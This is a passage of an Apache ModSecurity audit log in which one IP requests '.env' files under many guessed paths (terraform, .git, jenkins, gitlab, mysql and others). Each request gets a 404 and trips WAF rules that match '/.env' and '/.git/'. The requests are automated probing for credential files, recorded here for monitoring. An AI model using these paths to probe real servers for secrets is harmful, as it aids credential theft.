Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6af14a3f-Z--

--f113f404-A--
[13/Sep/2026:05:37:09.165906 +0300] aqYMVWM7dE9KgIIOpQhd9AAAANQ 34.175.231.24 46620 127.0.0.1 7081
--f113f404-B--
GET /terraform/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--f113f404-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f113f404-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/terraform/.env"] [unique_id "aqYMVWM7dE9KgIIOpQhd9AAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267029022842 143144 (- - -)
Stopwatch2: 1789267029022842 143144; combined=10691, p1=234, p2=10392, p3=0, p4=0, p5=65, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f113f404-Z--

--94ebec29-A--
[13/Sep/2026:05:37:11.334246 +0300] aqYMV2M7dE9KgIIOpQhd9QAAAM0 34.175.231.24 46646 127.0.0.1 7081
--94ebec29-B--
GET /ansible/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--94ebec29-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--94ebec29-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ansible/.env"] [unique_id "aqYMV2M7dE9KgIIOpQhd9QAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267031215863 118441 (- - -)
Stopwatch2: 1789267031215863 118441; combined=4329, p1=225, p2=4020, p3=0, p4=0, p5=83, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94ebec29-Z--

--4b555b58-A--
[13/Sep/2026:05:37:13.615512 +0300] aqYMWWM7dE9KgIIOpQhd9wAAAMo 34.175.231.24 46656 127.0.0.1 7081
--4b555b58-B--
GET /.git/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--4b555b58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4b555b58-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/.env||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/.env"] [unique_id "aqYMWWM7dE9KgIIOpQhd9wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/.env"] [unique_id "aqYMWWM7dE9KgIIOpQhd9wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267033483093 132615 (- - -)
Stopwatch2: 1789267033483093 132615; combined=5001, p1=939, p2=3936, p3=0, p4=0, p5=125, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4b555b58-Z--

--8909b51e-A--
[13/Sep/2026:05:37:15.052455 +0300] aqYMWmM7dE9KgIIOpQhd@AAAANU 34.175.231.24 46668 127.0.0.1 7081
--8909b51e-B--
GET /ci/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8909b51e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8909b51e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ci/.env"] [unique_id "aqYMWmM7dE9KgIIOpQhd@AAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267034939674 112848 (- - -)
Stopwatch2: 1789267034939674 112848; combined=4831, p1=337, p2=4430, p3=0, p4=0, p5=63, sr=157, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8909b51e-Z--

--26d9015d-A--
[13/Sep/2026:05:37:17.111478 +0300] aqYMXEwu1RSkptiiNIXtxgAAAIg 34.175.231.24 41992 127.0.0.1 7081
--26d9015d-B--
GET /cd/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--26d9015d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26d9015d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cd/.env"] [unique_id "aqYMXEwu1RSkptiiNIXtxgAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267036997063 114496 (- - -)
Stopwatch2: 1789267036997063 114496; combined=4803, p1=267, p2=4460, p3=0, p4=0, p5=75, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26d9015d-Z--

--e60bf642-A--
[13/Sep/2026:05:37:18.937497 +0300] aqYMXisVWymXUono-eRQvAAAABY 34.175.231.24 42014 127.0.0.1 7081
--e60bf642-B--
GET /jenkins/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e60bf642-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e60bf642-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/jenkins/.env"] [unique_id "aqYMXisVWymXUono-eRQvAAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267038783368 154189 (- - -)
Stopwatch2: 1789267038783368 154189; combined=21012, p1=254, p2=4465, p3=0, p4=0, p5=8173, sr=79, sw=1, l=0, gc=8119
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e60bf642-Z--

--3c3a3033-A--
[13/Sep/2026:05:37:20.760644 +0300] aqYMYGM7dE9KgIIOpQhd@gAAAM4 34.175.231.24 42020 127.0.0.1 7081
--3c3a3033-B--
GET /gitlab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--3c3a3033-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3c3a3033-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gitlab/.env"] [unique_id "aqYMYGM7dE9KgIIOpQhd@gAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267040642577 118200 (- - -)
Stopwatch2: 1789267040642577 118200; combined=4416, p1=249, p2=4106, p3=0, p4=0, p5=61, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c3a3033-Z--

--b2d63136-A--
[13/Sep/2026:05:37:22.919020 +0300] aqYMYkwu1RSkptiiNIXtxwAAAI0 34.175.231.24 42036 127.0.0.1 7081
--b2d63136-B--
GET /github/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b2d63136-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b2d63136-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/github/.env"] [unique_id "aqYMYkwu1RSkptiiNIXtxwAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267042791300 127787 (- - -)
Stopwatch2: 1789267042791300 127787; combined=7481, p1=499, p2=6055, p3=0, p4=0, p5=926, sr=133, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b2d63136-Z--

--e77b2c6d-A--
[13/Sep/2026:05:37:24.495661 +0300] aqYMZEwu1RSkptiiNIXtyAAAAJM 34.175.231.24 42048 127.0.0.1 7081
--e77b2c6d-B--
GET /actions/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e77b2c6d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e77b2c6d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/actions/.env"] [unique_id "aqYMZEwu1RSkptiiNIXtyAAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267044370406 125317 (- - -)
Stopwatch2: 1789267044370406 125317; combined=5384, p1=269, p2=4127, p3=0, p4=0, p5=988, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e77b2c6d-Z--

--b8bf7125-A--
[13/Sep/2026:05:37:26.498392 +0300] aqYMZisVWymXUono-eRQvQAAABc 34.175.231.24 39546 127.0.0.1 7081
--b8bf7125-B--
GET /circleci/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/circleci/.env"] [unique_id "aqYMZisVWymXUono-eRQvQAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267046379141 119331 (- - -)
Stopwatch2: 1789267046379141 119331; combined=4536, p1=245, p2=4231, p3=0, p4=0, p5=60, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8bf7125-Z--

--02a75c08-A--
[13/Sep/2026:05:37:28.640908 +0300] aqYMaEwu1RSkptiiNIXtyQAAAJA 34.175.231.24 39568 127.0.0.1 7081
--02a75c08-B--
GET /travis/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--02a75c08-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--02a75c08-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/travis/.env"] [unique_id "aqYMaEwu1RSkptiiNIXtyQAAAJA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267048527041 113947 (- - -)
Stopwatch2: 1789267048527041 113947; combined=4155, p1=239, p2=3853, p3=0, p4=0, p5=62, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02a75c08-Z--

--49a1d979-A--
[13/Sep/2026:05:37:30.345351 +0300] aqYMajTJ6xTvcJoem7f1lQAAAEU 34.175.231.24 39572 127.0.0.1 7081
--49a1d979-B--
GET /buildkite/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--49a1d979-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--49a1d979-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/buildkite/.env"] [unique_id "aqYMajTJ6xTvcJoem7f1lQAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267050217481 127926 (- - -)
Stopwatch2: 1789267050217481 127926; combined=5900, p1=360, p2=5486, p3=0, p4=0, p5=54, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49a1d979-Z--

--72b64d78-A--
[13/Sep/2026:05:37:32.320366 +0300] aqYMbEwu1RSkptiiNIXtygAAAJY 34.175.231.24 39582 127.0.0.1 7081
--72b64d78-B--
GET /mysql/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--72b64d78-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--72b64d78-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mysql/.env"] [unique_id "aqYMbEwu1RSkptiiNIXtygAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267052164571 155852 (- - -)
Stopwatch2: 1789267052164571 155852; combined=9552, p1=538, p2=8960, p3=0, p4=0, p5=54, sr=219, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72b64d78-Z--

